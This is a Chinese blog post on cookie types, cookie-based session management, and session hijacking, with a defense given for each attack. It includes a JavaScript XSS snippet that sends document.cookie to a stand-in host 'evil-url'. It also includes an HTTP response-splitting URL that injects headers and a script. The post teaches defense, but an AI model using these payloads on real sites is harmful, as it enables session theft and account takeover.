cookie窃取和session劫持 cookie泄漏
lipiwang 2024-11-05 11:55 38 浏览 0 评论
一、cookie的基本特性
如果不了解cookie，可以先到wikipedia上学习一下。
http request
浏览器向服务器发起的每个请求都会带上cookie：
Host: www.example.org Cookie: foo=value1;bar=value2 Accept: */*
http response
服务器给浏览器的返回可以设置cookie：
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT (content of page)
二、cookie有关的术语
session cookie
当cookie没有设置超时时间，那么cookie会在浏览器退出时销毁，这种cookie是session cookie。
persistent cookie/tracking cookie
设置了超时时间的cookie，会在指定时间销毁，cookie的维持时间可以持续到浏览器退出之后，这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录，例如广告类站点会使用cookie记录浏览过哪些内容，搜索引擎会使用cookie记录历史搜索记录，这时也可以称作tracking cookie，因为它被用于追踪用户行为。
secure cookie
服务器端设置cookie的时候，可以指定secure属性，这时cookie只有通过https协议传输的时候才会带到网络请求中，不加密的http请求不会带有secure cookie。设置secure cookie的方式举例：
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服务器端设置cookie的时候，也可以指定一个HttpOnly属性。
Set-Cookie: foo=bar; Path=/; HttpOnly
设置了这个属性的cookie在javascript中无法获取到，只会在网络传输过程中带到服务器。
third-party cookie
第三方cookie的使用场景通常是iframe，例如www.a.com潜入了一个www.ad.com的广告iframe，那么www.ad.com设置的cookie属于不属于www.a.com，被称作第三方cookie。
supercookie
cookie会从属于一个域名，例如www.a.com，或者属于一个子域，例如b.a.com。但是如果cookie被声明为属于.com会发生什么？这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制，不允许设置顶级域名cookie(例如.com，.net)和pubic suffix cookie(例如.co.uk，.com.cn)。现代主流浏览器都很好的处理了supercookie问题，但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题，那么就可以针对supercookie进行攻击啦。
zombie cookie/evercookie
僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash，silverlight)，当cookie被删除时，从其他存储中恢复。 evercookie是实现僵尸cookie的主要技术手段。 了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三种主要的用途。
session管理
http协议本身是是无状态的，但是现代站点很多都需要维持登录态，也就是维持会话。最基本的维持会话的方式是Base Auth，但是这种方式，用户名和密码在每次请求中都会以明文的方式发送到客户端，很容易受到中间人攻击，存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式：用户登陆成功后，设置一个唯一的cookie标识本次会话，基于这个标识进行用户授权。只要请求中带有这个标识，都认为是登录态。
个性化
cookie可以被用于记录一些信息，以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子，用户可以拥有自己的Google自定制主页，其中就使用了cookie。
user tracking
cookie也可以用于追踪用户行为，例如是否访问过本站点，有过哪些操作等。
四、cookie窃取和session劫持
本文就cookie的三种用途中session管理的安全问题进行展开。 既然cookie用于维持会话，如果这个cookie被攻击者窃取会发生什么？session被劫持！ 攻击者劫持会话就等于合法登录了你的账户，可以浏览大部分用户资源。
攻击一旦站点中存在可利用的xss漏洞，攻击者可直接利用注入的js脚本获取cookie，进而通过异步请求把标识session id的cookie上报给攻击者。
var img = document.createElement('img');
img.src ='http://evil-url?c='+ encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);
如何寻找XSS漏洞是另外一个话题了，自行google之。 防御 根据上面HttpOnly cookie的介绍，一旦一个cookie被设置为HttpOnly，js脚本就无法再获取到，而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持，但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。 但是上面说的是无法利用xss进行简单的攻击，但是也不是没有办法的。既然无法使用document.cookie获取到，可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。
xss结合phpinfo页面
攻击 大家都知道，利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息，其中就包括cookie信息。
如果开发者没有关闭这个页面，就可以利用xss漏洞向这个页面发起异步请求，获取到页面内容后parse出cookie信息，然后上传给攻击者。 phpinfo只是大家最常见的一种dump请求的页面，但不仅限于此，为了调试方便，任何dump请求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。
XSS + HTTP TRACE = XST
这是一种古老的攻击方式，现在已经消失，写在这里可以扩展一下攻防思路。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求，又可以获取session信息了。之所以说是一种古老的攻击方式，因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。另外提一点，当浏览器没有禁止异步发起trace的时代，很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过，用户使用了代理服务器，而代理服务器没有关闭trace支持，这样又可以trace了。
HTTP Response Splitting
- 参考1
- 参考2
通常的XSS攻击都是把输入内容注入到response的content中，HTTP Response Splitting是一种针对header的注入。例如，一个站点接受参数做302跳转：
www.example.com/?r=http://baidu.com
request信息：
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 Found Location: http://baidu.com Content-Type: text/html
这样页面就302跳转到百度了。攻击者利用r参数可以注入header，r参数不是简单的url，而是包含的header信息：
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response变成了：
HTTP/1.1 302 Found Location: HTTP/1.1 200 OK Content-Type: text/html X-XSS-Protection: 0 <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html> Content-Type: text/html
有两个攻击要点：
- 指定X=XSS-Protection: 0 ，关闭浏览器的xss保护机制。
- 注入脚本
防御 针对header的内容做过滤，不能漏掉，特别是Location，host，referrer等。说到底，这也是一种XSS攻击，只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等，防御的原则是对所有的输入进行sanitize，包括非用户输入的内容，比如referrer这种一般由浏览器带过来的信息，因为请求完全可以被伪造，未必来自浏览器。
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式，cookie不仅存在于上层应用中，更流转于请求中。上层应用获取不到后，攻击者可以转而从网络请求中获取。只要是未使用https加密的网站都可以抓包分析，其中就包含了标识session的cookie。当然，完成网络监听需要满足一定的条件，这又是另外一个话题了。常见的方式：
- DNS缓存投毒攻击者把要攻击的域名的一个子域映射到攻击者的server，然后想办法让被攻击者访问这个server(XSS request、社会化攻击等)，请求中会带过来所有cookie(包括HttpOnly)。
- 中间人攻击常见的攻击方式是搭建免费wifi，把DHCP服务器指定为攻击者ip，在攻击者机器上可以收到所有请求，不仅可以获取cookie，还可以进行脚本注入。
- 代理服务器/VPN翻墙用免费VPN？呵呵。
防御使用https。使用https协议的请求都被ssl加密，理论上不可破解，即便被网络监听也无法通过解密看到实际的内容。防御网络监听通常有两种方式：
- 信道加密
- 内容加密
https是加密信道，在此信道上传输的内容对中间人都是不可见的。但https是有成本的。内容加密比较好理解，例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。那么，使用https的站点就可以高枕无忧了吗？事实上，一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击：双协议
如果同时支持http和https，那么还是可以使用网络监听http请求获取cookie。 防御只支持https，不支持http。这样就好了吗？No.
https站点攻击：301重定向
例如www.example.com只支持https协议，当用户直接输入example.com(大部分用户都不会手动输入协议前缀)，web server通常的处理是返回301要求浏览器重定向到https://www.example.com。这次301请求是http的！而且带了cookie，这样又将cookie明文暴露在网络上了。 防御1 把标识session的cookie设置成secure。上面提到的secure cookie，只允许在https上加密传输，在http请求中不会存在，这样就不会暴露在未加密的网络上了。 然后现实很残酷，很多站点根本无法做到所有的请求都走https。原因有很多，可能是成本考虑，可能是业务需求。 防御2 设置Strict-Transport-Security header，直接省略这个http请求！用户首次访问后，服务器设置了这个header以后，后面就会省略掉这次http 301请求。
相关推荐
- 软件测试|MySQL CROSS JOIN:交叉连接的详细解析
-
简介在MySQL数据库中，CROSSJOIN是一种用于生成两个或多个表的笛卡尔积的连接方法。CROSSJOIN不需要任何连接条件，它将左表的每一行与右表的每一行进行组合，从而生成一个包含所...
- 「MySQL笔记」left join-on-and 与 left join-on-where 的区别
-
1.摘要关于这两种写法的重要知识点摘要如下：left-join时，即使有相同的查询条件，二者的查询结果集也不同，原因是优先级导致的，on的优先级比where高on-and是进行韦恩运算连接...
- MySQL中的JOIN——联合查询的基本语法
-
MySQL中的JOIN指令用来将两个或多个表中的数据进行联合查询，根据连接条件来匹配记录，从而得到需要的结果集。在MySQL中，常见的JOIN类型包括INNERJOIN、LEFTJOIN和RIGH...
- MySQL 中的 CROSS JOIN:强大的连接工具
-
CROSSJOIN在MySQL里是一种挺特别的连接操作，它能弄出连接表的笛卡尔积。这就是说，要是表A有m行，表B有n行，那ACROSSJOINB的结果就会有m*n...
- 大厂必问:MySQL 三表 JOIN 操作的解析与性能优化，效率又如何?
-
大厂必问：MySQL三表JOIN操作的解析与性能优化策略，效率又如何？点击关注，开启技术之旅！大家好，这里是互联网技术学堂，无论你是一名程序员、设计师、还是对技术充满好奇心的普通人，都欢迎你加入...
- 面试题:MySQL 的 JOIN 查询优化（mysql查询优化方法）
-
MySQL的JOIN查询优化是提升数据库性能的关键环节。以下是综合多个技术文档的核心优化策略，按优先级和实现难度分类：一、索引优化：性能提升的基础为连接字段建立索引确保参与JOIN的列（通常...
- Flink中处理维表关联技术实现路径
-
在Flink中处理维表关联大体氛围TableSQLLookupJoin和DataStream算子函数，主要技术实现路径：I.FlinkSQL/TableAPI中的Lookup...
- 深入剖析Zookeeper原理(一)整体设计
-
1.ZK集群架构设计与特性1.ZK集群架构设计：ZK主要分为三种角色：Leader（领导者）：一个Zookeeper集群同一时间只会有一个实际工作的Leader，它会发起并维护与各Follwer及...
- 多种负载均衡算法及其Java代码实现
-
首先给大家介绍下什么是负载均衡负载均衡建立在现有网络结构之上，它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。负载均衡，英...
- 一分钟了解SpringCloud中的ribbon到底是什么，原理是啥?
-
1.概念ribbon是一款客户端负载均衡器，用于微服务之间的负载均衡。首先，什么是客户端负载均衡？如图，ribbon可以通过注册中心获取服务列表，然后自己执行自己的负载均衡策略来决定要访问哪个微服务，...
- Step by Step之腾讯云短信-验证码实践
-
在商城小程序和前端上线用了一阵子之后，用户提出了体验提升的需求，如忘记密码、绑定用户、快捷注册等，作为业界最佳实践的短信验证码登录、重置密码和注册等功能开发也就提上日程了，本文就以重置密码为例，将验证...
- 10分钟入门响应式:Springboot整合kafka实现reactive
-
Springboot引入Reactor已经有一段时间了，笔者潜伏在各种技术群里暗中观察发现，好像scala圈子的同仁们，似乎对响应式更热衷一点。也许是因为他们对fp理解的更深吧，所以领悟起来障碍性更少...
- 使用java随机生成有个性的用户名，LOL地名+水浒传，合计2808个
-
*随机生成用户名*取水浒传108好汉名字*取LOL地名26个,组合而成*一共可以生成2808个不同特色的用户名如果你在上网的时候，用户名难取的话，这里有很多可选择的用户名，现提供100个...
- 深入理解Math.random()的概率分布特性
-
直接上源码/***Returnsa{@codedouble}valuewithapositivesign,*返回一个带符号的double类型的数字，说人话就是返回一个非负...
- 编程英文 - 创建/生成/构建 (create/generate/build)
-
在软件开发中，create、generate和build这三个词经常被用到，它们都与"创造"或"产生"某些东西有关，但在具体使用场景和含义上有所不同。基本含义creat...
欢迎 你 发表评论:
- 一周热门
- 最近发表
-
- 软件测试|MySQL CROSS JOIN:交叉连接的详细解析
- 「MySQL笔记」left join-on-and 与 left join-on-where 的区别
- MySQL中的JOIN——联合查询的基本语法
- MySQL 中的 CROSS JOIN:强大的连接工具
- 大厂必问:MySQL 三表 JOIN 操作的解析与性能优化，效率又如何?
- 面试题:MySQL 的 JOIN 查询优化（mysql查询优化方法）
- Flink中处理维表关联技术实现路径
- 深入剖析Zookeeper原理(一)整体设计
- 多种负载均衡算法及其Java代码实现
- 一分钟了解SpringCloud中的ribbon到底是什么，原理是啥?
- 标签列表
-
- maven镜像 (69)
- undefined reference to (60)
- zip格式 (63)
- oracle over (62)
- date_format函数用法 (67)
- 在线代理服务器 (60)
- shell 字符串比较 (74)
- x509证书 (61)
- localhost (65)
- java.awt.headless (66)
- syn_sent (64)
- settings.xml (59)
- 弹出窗口 (56)
- applicationcontextaware (72)
- my.cnf (73)
- httpsession (62)
- pkcs7 (62)
- session cookie (63)
- java 生成uuid (58)
- could not initialize class (58)
- beanpropertyrowmapper (58)
- word空格下划线不显示 (73)
- jar文件 (60)
- jsp内置对象 (58)
- makefile编写规则 (58)